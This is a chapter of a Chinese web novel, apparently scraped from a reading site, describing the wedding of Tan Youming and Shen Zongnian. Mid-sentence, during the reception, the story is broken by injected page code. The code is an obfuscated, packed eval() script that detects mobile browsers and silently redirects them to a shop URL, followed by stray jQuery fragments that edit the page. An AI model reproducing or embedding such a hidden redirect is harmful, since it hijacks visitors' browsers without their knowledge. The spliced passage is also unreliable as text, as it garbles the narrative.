二零二五年四月十八日。海市春日晴好。


    浅水湾的私人庄园里，白色玫瑰与香槟色绣球花铺成绵延的花海。晨露还挂在花瓣上，在春日阳光下折射出细碎光芒。远处维多利亚港的海面泛着粼粼波光，游轮缓缓驶过，像移动的珍珠。


    婚礼仪式设在临海的玻璃礼堂。透明穹顶让阳光毫无保留地倾泻而下，空气中漂浮着铃兰与白玫瑰的淡香。宾客还未入场，只有工作人员在做最后检查。


    休息室里，谭又明对着全身镜调整领结。纯白色晨礼服衬得他肤色愈发白皙，领口别着的那枚蓝宝石胸针——正是他多年前送给沈宗年的那对袖扣中的一枚，被精巧地改成了胸针。


    “紧张？”沈宗年的声音从身后传来。


    谭又明从镜子里看他。沈宗年穿着同款的黑色晨礼服，身姿挺拔。他们今天没有按照传统选择一样的颜色，而是一黑一白，像昼夜交替，也像他们迥异却互补的性格。


    “有点。”谭又明老实承认，指尖无意识地摩挲着无名指上的铂金素圈——订婚后就一直戴着，“你说等会儿宣誓的时候，我要是忘词了怎么办？”


    沈宗年走到他身后，双手轻轻搭在他肩上。镜子里映出两人并肩的身影。


    “那就看着我。”沈宗年说，“想到什么说什么。”


    他的声音很平静，像无数次安抚他那样。谭又明从镜子里看着他的眼睛，那里面的沉稳像定海神针，奇异地抚平了他心里那点忐忑。


    “其实...”谭又明转过身，面对着他，“我写了誓词，又觉得不够好，改了十几遍。”


    他从口袋里掏出一张折得整整齐齐的卡片，边缘已经有些磨损。沈宗年接过来，却没有打开。


    “留着等会儿说给我听。”他把卡片放回谭又明胸前的口袋，指尖轻轻按了按，“现在先陪我完成另一件事。”


    “什么？”


    沈宗年从自己口袋里取出另一个丝绒盒子。打开，里面是两枚崭新的戒指。铂金材质，设计极简，只在戒圈内侧刻着细密的花体字。


    “婚礼上要交换的。”沈宗年拿起其中一枚，执起谭又明的左手。那枚订婚素圈被暂时取下，新的戒指缓缓推进无名指根部。


    尺寸依旧完美契合。谭又明抬起手细看，才发现内壁刻的不是字母，而是一行小字：


    「From 12 to forever」


    “十二岁...”谭又明怔怔地看着那行字，“是你来我家的那年。”


    沈宗年点头，伸出自己的手。谭又明拿起另一枚戒指，看到内壁刻着同样的字句。他郑重地将戒指戴进沈宗年的无名指。


    两只戴着对戒的手握在一起。阳光透过玻璃窗，在戒圈上跳跃出细碎光斑。


    “所以这场婚礼，”谭又明声音有些哑，“是从十二岁就开始准备了？”


    “从你递给我那颗糖开始。”沈宗年低头吻了吻他的指尖，“从你说‘以后我罩你’开始。”


    门外传来轻轻叩门声，是工作人员提醒仪式即将开始。


    谭又明深吸一口气，最后整理了一下衣襟。沈宗年却忽然拉住他，从口袋里取出那枚翡翠扳指——谭父给的传家宝。


    “差点忘了这个。”他将扳指套在谭又明右手拇指。冰凉的翡翠贴着皮肤，带着岁月的温润。


    “不是说给沈家媳妇的吗？”谭又明挑眉。


    “现在是谭家女婿了。”沈宗年眼底有笑意，“物归原主。”


    两人相视一笑，推开休息室的门。


    玻璃礼堂里已经坐满了宾客。谭父谭母坐在第一排，谭母眼角微红，手里紧紧攥着手帕。沈宗年这边没有血缘亲人，但谭家的长辈们都在，像真正的家人一样。


    当婚礼进行曲响起时，谭又明和沈宗年没有按照传统一前一后入场，而是并肩从礼堂两侧同时走向中央的仪式台。


    他们踩着同样的节奏，在长廊中间汇合，然后一起走向前方。这个细节是谭又明坚持的——他说既然是一起走完余生，那就从并肩开始。


    牧师是位慈祥的长者，看着他们在面前站定，微笑着翻开手中的誓词本。


    “沈宗年先生，谭又明先生。”牧师的声音温和而庄重，“今天你们站在这里，在亲友见证下，即将缔结婚姻的盟约。请问你们是否自愿结为伴侣，无论顺境逆境，健康疾病，都彼此珍惜，忠贞不渝？”


    “是。”两人的声音同时响起，清晰坚定。


    交换戒指的环节到了。伴郎送上戒枕，上面放着他们刚才已经戴上的那对戒指。这看似多余的环节其实是谭又明的主意——他说仪式感要有始有终。


    沈宗年先拿起戒指。他执起谭又明的左手，动作缓慢而郑重。铂金圈滑过指节，最终停留在无名指根部，与那行刻字紧密贴合。


    “谭又明，”沈宗年看着他的眼睛，声音不高，却足以让前排的宾客听见，“十二岁那年你递给我的那颗糖，甜了我整个青春。今天我把余生交给你，希望也能让你觉得，人间值得。”


    谭又明鼻子一酸，拿起另一枚戒指。他握住沈宗年的手，指尖有些颤抖，但动作很稳。戒指推进时，他感觉到沈宗年手指微微的力道，像无声的鼓励。


    “沈宗年，”谭又明清了清嗓子，从口袋里掏出那张磨损的卡片，但只看了一眼就放下了——他突然觉得那些反复斟酌的词句，都不及此刻心中汹涌的情感真实，“我这个人...其实挺笨的。你等了我那么久，我才反应过来。但以后不会了。”


    他吸了口气，继续说道：“以后换我等你。等你下班，等你回家，等你和我一起慢慢变老。等到小谭山的观星台都旧了，我还在这里。”


    观礼席上传来轻微的抽泣声，是谭母没忍住。谭父悄悄递过去手帕，自己的眼眶也有些发红。


    牧师微笑着点头：“现在，你们可以亲吻彼此了。”


    这个环节他们彩排过，本来计划是轻轻一吻。但当沈宗年低头吻下来时，谭又明却抬手环住了他的脖颈，将这个吻加深。


    掌声和欢呼声瞬间响起。阳光透过玻璃穹顶，在他们身上镀上一层金边。两只戴着对戒的手紧紧握在一起，翡翠扳指在光线下泛着温润的光泽。


    一吻结束，两人额头相抵，都微微喘息。谭又明看到沈宗年眼底有细碎的水光，不知道是不是自己眼花了。


    “哭啦？”他小声问。


    “没有。”沈宗年抵着他的额头，“是阳光太刺眼。”


    才怪。谭又明在心里说，却握紧了他的手。


    仪式后的宴会在庄园草坪举行。长桌上摆满精致餐点，香槟塔在阳光下闪烁。宾客们举杯祝贺，气氛温馨热闹。


    谭父端着酒杯走过来，先和沈宗年碰了碰杯，然后看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827539|190132||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    向谭又明。


    “长大了。”谭父只说了一句，拍了拍他的肩膀，转身时脚步似乎有些蹒跚。


    谭又明看着父亲的背影，忽然想起很多年前，也是这样一个春日，父亲牵着他的手教他骑自行车。那时沈宗年刚来谭家不久，沉默地跟在后面，在他摔倒时第一个冲过来扶。


    “在想什么？”沈宗年递过来一杯温水——知道他空腹喝酒会胃疼。


    “在想...”谭又明接过水杯，“时间过得真快。”


    快到那个阴郁沉默的少年，已经长成可以托付终身的人。快到那些暗恋的酸涩，都酿成了今日的甘甜。


    切蛋糕环节时，谭又明握着沈宗年的手一起切下第一刀。三层高的婚礼蛋糕设计成观星台的形状，最顶端是两个小小的糖霜人偶，手牵着手仰望星空。


    “你这心思...”谭又明看着蛋糕笑，“全都用在哄我开心上了。”


    “不止。”沈宗年挖了一勺蛋糕喂到他嘴边，“要用一辈子。”


    晚宴后是舞会环节。当第一支舞的音乐响起时，沈宗年向谭又明伸出手。这不是传统的新人开场舞，而是他们早就商量好的——跳过那些形式，直接跳属于他们的第一支舞。


    谭又明搭上他的手，两人滑入舞池中央。周围宾客自动让出空间，灯光柔和下来。


    他们跳的是一支简单的慢舞，步伐甚至算不上标准。但沈宗年搂着谭又明的腰，谭又明搭着他的肩，彼此的距离近得能听见心跳。


    “累吗？”沈宗年低声问。


    “不累。”谭又明靠在他肩上，“就是觉得...像做梦。”


    从那个在酒吧外接他回家的夜晚，到书房里失控的告白，再到冰岛的极光下...一路走来，每一个瞬间都真实得不容置疑，可汇集到今天，却美好得像一场梦。


    “不是梦。”沈宗年在他耳边说，“以后每天都会这样。”


    舞曲结束时，夜色已经降临。宾客们移步到海边，那里准备了烟花表演。


    谭又明和沈宗年并肩站在最前排。当第一束烟花在夜空绽开时，沈宗年忽然侧过头，在谭又明耳边说了句话。


    烟花炸响的声音很大，谭又明没听清：“什么？”


    沈宗年笑了笑，没有重复。但谭又明从他口型猜出来了。


    他说的是：“我的宇宙，永恒了。”


    烟花在夜空中拼出他们的姓氏缩写"S&T"，最后化作漫天金雨缓缓落下。宾客们欢呼鼓掌，而谭又明在绚烂光影中转头吻住了沈宗年。


    这一次没有掌声，只有夜风与海浪声作伴。远处小谭山的方向，新建的观星台亮起暖黄色的灯光，像一颗落在山间的星。


    很久以后，当谭又明问起婚礼那天烟花声中那句话时，沈宗年才告诉他完整版本：


    “以前说你是我的星星，后来觉得不够。星星会陨落，宇宙却永恒。所以谭又明，你是我的宇宙——无边无际，无始无终。”


    而谭又明摸着无名指上那行「From 12 to forever」的刻字，忽然明白了这场婚礼最深的寓意。


    那不是开始，而是延续。延续十二岁那年的相遇，延续十几年的暗恋与守护，延续往后每一个并肩的日夜。


    就像小谭山的观星台，不是为了看星星而建。


    而是为了告诉星星：从此你有归处。